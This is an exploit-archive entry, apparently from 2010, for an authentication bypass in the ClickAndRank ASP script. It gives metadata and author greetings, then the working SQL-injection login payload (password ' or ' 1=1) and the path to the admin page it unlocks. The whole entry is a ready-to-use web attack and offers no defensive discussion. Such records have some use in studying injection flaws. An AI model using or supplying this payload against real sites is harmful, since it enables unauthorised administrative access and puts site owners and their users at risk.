ClickAndRank Script - Authentication Bypass

Author: walid
type: webapps
platform: asp
port: 
date_added: 2010-07-18 
date_updated: 2010-07-19 
verified: 1 
codes:  
tags: 
aliases:  
screenshot_url:  
application_url: 

# Exploit Title: ClickAndRank Script Authentication Bypass
# Date: [18/07/2010]
# Author: [walid]
# Software Link: [null]
# Version: [null]
# Tested on: [Windows]
# CVE: [null]

* Found By: WaLiD
* E-mail: Rezultas[at]Gmail[Dot]com
* GreeTZ: [Amine]/[v4-team.com]/[Madjix]

---------------------------------------------------------
Vendor: http://www.icash.ch/index.html?ClickAndRank/details.asp
---------------------------------------------------------

Exploit Auth Bypass:

login: walid
passw: ' or ' 1=1

----------------------------------------------------------

-[!]

Demo :
http://<site>/index.html?ClickAndRank/admin.asp

----------------------------------------------------------